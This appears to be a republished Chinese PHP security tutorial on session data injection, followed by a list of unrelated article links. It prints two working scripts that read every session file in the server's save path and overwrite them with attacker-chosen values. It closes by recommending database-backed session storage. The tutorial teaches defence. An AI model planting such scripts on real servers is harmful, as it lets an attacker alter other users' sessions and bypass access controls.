PHP安全编程:会话数据注入
来源:互联网 发布:手机淘宝设置在哪里 编辑:程序博客网 时间:2024/05/22 15:32
一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:
<?phpsession_start();?><form action="inject.php" method="POST"><?php$path = ini_get('session.save_path');$handle = dir($path);while ($filename = $handle->read()){ if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } }}$handle->close();?><input type="submit" /></form>
脚本inject.php执行由表单所指定的修改:
<?phpsession_start();$path = ini_get('session.save_path');foreach ($_POST as $sess_name => $sess_data){ $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data);}$_SESSION = array();?>
此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。
针对这个问题的最好解决方案是将会话数据保存在数据库中。参见专题前面的内容。
延伸阅读
此文章所在专题列表如下:http://www.nowamagic.net/librarys/veda/detail/2079
0 0
- PHP安全编程:会话数据注入
- PHP安全编程之会话数据注入
- 安全编程-会话安全
- PHP安全编程之shell命令注入
- PHP安全编程之SQL注入
- PHP安全编程:防止SQL注入
- PHP安全编程之session固定获取合法会话
- PHP安全编程:session固定获取合法会话
- PHP安全编程:表单与数据安全
- PHP 安全防注入
- PHP安全编程之文件包含的代码注入攻击
- PHP安全编程:文件包含的代码注入攻击
- PHP安全编程之表单与数据安全
- PHP防注入安全代码
- PHP防注入安全代码
- 7天入门php-会话和安全
- PHP安全编程:session劫持的防御session 数据暴露
- PHP安全编程之可用性与数据跟踪
- 指针和引用的区别
- js中的prototype
- 07-0. 写出这个数 (20)
- OpenGL如何实现雾化效果
- hibernate高级查询之 HQL(Hibernate Query Language)和QBC(Query By Criteria)的分析与研究
- PHP安全编程:会话数据注入
- Isomorphic Graphs
- 07-1. 换个格式输出整数 (15)
- 机房收费系统(一)——普通查询
- 07-2. A+B和C (15)
- C++双向链表的应用
- 07-3. 数素数 (20)
- 百度数据挖掘工程师实习生笔试面试题
- 08-0. 查找整数(10)